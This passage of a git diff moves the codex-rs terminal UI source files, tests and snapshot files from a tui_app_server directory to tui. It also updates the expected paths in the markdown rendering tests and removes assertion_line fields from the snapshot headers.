"[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3-L76C9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -766,13 +766,13 @@ fn file_link_appends_hash_range_when_label_lacks_it() { #[test] fn multiline_file_link_label_after_styled_prefix_does_not_panic() { let text = render_markdown_text_for_cwd( - "**bold** plain [foo\nbar](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3)", + "**bold** plain [foo\nbar](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ "bold".bold(), " plain ".into(), - "codex-rs/tui_app_server/src/markdown_render.rs:74:3".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3".cyan(), ])); assert_eq!(text, expected); } @@ -780,12 +780,12 @@ fn multiline_file_link_label_after_styled_prefix_does_not_panic() { #[test] fn file_link_uses_target_path_for_hash_range() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs#L74C3-L76C9](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3-L76C9)", + "[markdown_render.rs#L74C3-L76C9](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3-L76C9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -805,7 +805,7 @@ fn url_link_shows_destination() { #[test] fn markdown_render_file_link_snapshot() { let text = render_markdown_text_for_cwd( - "See [markdown_render.rs:74](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74).", + "See [markdown_render.rs:74](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74).", Path::new("/Users/example/code/codex"), ); let rendered = text diff --git a/codex-rs/tui_app_server/src/markdown_stream.rs b/codex-rs/tui/src/markdown_stream.rs similarity index 100% rename from codex-rs/tui_app_server/src/markdown_stream.rs rename to codex-rs/tui/src/markdown_stream.rs diff --git a/codex-rs/tui_app_server/src/mention_codec.rs b/codex-rs/tui/src/mention_codec.rs similarity index 100% rename from codex-rs/tui_app_server/src/mention_codec.rs rename to codex-rs/tui/src/mention_codec.rs diff --git a/codex-rs/tui_app_server/src/model_catalog.rs b/codex-rs/tui/src/model_catalog.rs similarity index 100% rename from codex-rs/tui_app_server/src/model_catalog.rs rename to codex-rs/tui/src/model_catalog.rs diff --git a/codex-rs/tui_app_server/src/model_migration.rs b/codex-rs/tui/src/model_migration.rs similarity index 100% rename from codex-rs/tui_app_server/src/model_migration.rs rename to codex-rs/tui/src/model_migration.rs diff --git a/codex-rs/tui_app_server/src/multi_agents.rs b/codex-rs/tui/src/multi_agents.rs similarity index 100% rename from codex-rs/tui_app_server/src/multi_agents.rs rename to codex-rs/tui/src/multi_agents.rs diff --git a/codex-rs/tui_app_server/src/notifications/bel.rs b/codex-rs/tui/src/notifications/bel.rs similarity index 100% rename from codex-rs/tui_app_server/src/notifications/bel.rs rename to codex-rs/tui/src/notifications/bel.rs diff --git a/codex-rs/tui_app_server/src/notifications/mod.rs b/codex-rs/tui/src/notifications/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/notifications/mod.rs rename to codex-rs/tui/src/notifications/mod.rs diff --git a/codex-rs/tui_app_server/src/notifications/osc9.rs b/codex-rs/tui/src/notifications/osc9.rs similarity index 100% rename from codex-rs/tui_app_server/src/notifications/osc9.rs rename to codex-rs/tui/src/notifications/osc9.rs diff --git a/codex-rs/tui_app_server/src/onboarding/auth.rs b/codex-rs/tui/src/onboarding/auth.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/auth.rs rename to codex-rs/tui/src/onboarding/auth.rs diff --git a/codex-rs/tui_app_server/src/onboarding/auth/headless_chatgpt_login.rs b/codex-rs/tui/src/onboarding/auth/headless_chatgpt_login.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/auth/headless_chatgpt_login.rs rename to codex-rs/tui/src/onboarding/auth/headless_chatgpt_login.rs diff --git a/codex-rs/tui_app_server/src/onboarding/mod.rs b/codex-rs/tui/src/onboarding/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/mod.rs rename to codex-rs/tui/src/onboarding/mod.rs diff --git a/codex-rs/tui_app_server/src/onboarding/onboarding_screen.rs b/codex-rs/tui/src/onboarding/onboarding_screen.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/onboarding_screen.rs rename to codex-rs/tui/src/onboarding/onboarding_screen.rs diff --git a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap b/codex-rs/tui/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap similarity index 94% rename from codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap rename to codex-rs/tui/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap index 12c1816db..3c8c248c3 100644 --- a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap +++ b/codex-rs/tui/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap @@ -1,6 +1,5 @@ --- source: tui/src/onboarding/trust_directory.rs -assertion_line: 218 expression: terminal.backend() --- > You are in /workspace/project diff --git a/codex-rs/tui_app_server/src/onboarding/trust_directory.rs b/codex-rs/tui/src/onboarding/trust_directory.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/trust_directory.rs rename to codex-rs/tui/src/onboarding/trust_directory.rs diff --git a/codex-rs/tui_app_server/src/onboarding/welcome.rs b/codex-rs/tui/src/onboarding/welcome.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/welcome.rs rename to codex-rs/tui/src/onboarding/welcome.rs diff --git a/codex-rs/tui_app_server/src/oss_selection.rs b/codex-rs/tui/src/oss_selection.rs similarity index 100% rename from codex-rs/tui_app_server/src/oss_selection.rs rename to codex-rs/tui/src/oss_selection.rs diff --git a/codex-rs/tui_app_server/src/pager_overlay.rs b/codex-rs/tui/src/pager_overlay.rs similarity index 100% rename from codex-rs/tui_app_server/src/pager_overlay.rs rename to codex-rs/tui/src/pager_overlay.rs diff --git a/codex-rs/tui_app_server/src/public_widgets/composer_input.rs b/codex-rs/tui/src/public_widgets/composer_input.rs similarity index 100% rename from codex-rs/tui_app_server/src/public_widgets/composer_input.rs rename to codex-rs/tui/src/public_widgets/composer_input.rs diff --git a/codex-rs/tui_app_server/src/public_widgets/mod.rs b/codex-rs/tui/src/public_widgets/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/public_widgets/mod.rs rename to codex-rs/tui/src/public_widgets/mod.rs diff --git a/codex-rs/tui_app_server/src/render/highlight.rs b/codex-rs/tui/src/render/highlight.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/highlight.rs rename to codex-rs/tui/src/render/highlight.rs diff --git a/codex-rs/tui_app_server/src/render/line_utils.rs b/codex-rs/tui/src/render/line_utils.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/line_utils.rs rename to codex-rs/tui/src/render/line_utils.rs diff --git a/codex-rs/tui_app_server/src/render/mod.rs b/codex-rs/tui/src/render/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/mod.rs rename to codex-rs/tui/src/render/mod.rs diff --git a/codex-rs/tui_app_server/src/render/renderable.rs b/codex-rs/tui/src/render/renderable.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/renderable.rs rename to codex-rs/tui/src/render/renderable.rs diff --git a/codex-rs/tui_app_server/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap b/codex-rs/tui/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap similarity index 100% rename from codex-rs/tui_app_server/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap rename to codex-rs/tui/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap diff --git a/codex-rs/tui_app_server/src/resume_picker.rs b/codex-rs/tui/src/resume_picker.rs similarity index 100% rename from codex-rs/tui_app_server/src/resume_picker.rs rename to codex-rs/tui/src/resume_picker.rs diff --git a/codex-rs/tui_app_server/src/selection_list.rs b/codex-rs/tui/src/selection_list.rs similarity index 100% rename from codex-rs/tui_app_server/src/selection_list.rs rename to codex-rs/tui/src/selection_list.rs diff --git a/codex-rs/tui_app_server/src/session_log.rs b/codex-rs/tui/src/session_log.rs similarity index 100% rename from codex-rs/tui_app_server/src/session_log.rs rename to codex-rs/tui/src/session_log.rs diff --git a/codex-rs/tui_app_server/src/shimmer.rs b/codex-rs/tui/src/shimmer.rs similarity index 100% rename from codex-rs/tui_app_server/src/shimmer.rs rename to codex-rs/tui/src/shimmer.rs diff --git a/codex-rs/tui_app_server/src/skills_helpers.rs b/codex-rs/tui/src/skills_helpers.rs similarity index 100% rename from codex-rs/tui_app_server/src/skills_helpers.rs rename to codex-rs/tui/src/skills_helpers.rs diff --git a/codex-rs/tui_app_server/src/slash_command.rs b/codex-rs/tui/src/slash_command.rs similarity index 100% rename from codex-rs/tui_app_server/src/slash_command.rs rename to codex-rs/tui/src/slash_command.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap b/codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap rename to codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap b/codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap rename to codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__add_details.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__add_details.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__add_details.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__add_details.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap similarity index 86% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap index 7360fd138..2077da659 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1740 expression: rendered --- • Calling search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap similarity index 88% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap index 776f79207..bb0b826bb 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1817 expression: rendered --- • Called search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap similarity index 90% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap index 6e6bccb31..0ee965d82 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1934 expression: rendered --- • Called metrics.summary({"metric":"trace.latency","window":"15m"}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap similarity index 92% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap index 6f7fd0e83..62cc89b2f 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1850 expression: rendered --- • Called diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap similarity index 89% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap index 3c601c22e..cd5eb9dc0 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1795 expression: rendered --- • Called search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap similarity index 94% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap index 7d9c16132..ed2e0c236 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1891 expression: rendered --- • Called diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap similarity index 64% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap index d01c31bd6..c1b607e63 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/history_cell.rs +source: tui/src/history_cell.rs assertion_line: 3477 expression: rendered --- diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap similarity index 83% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap rename to 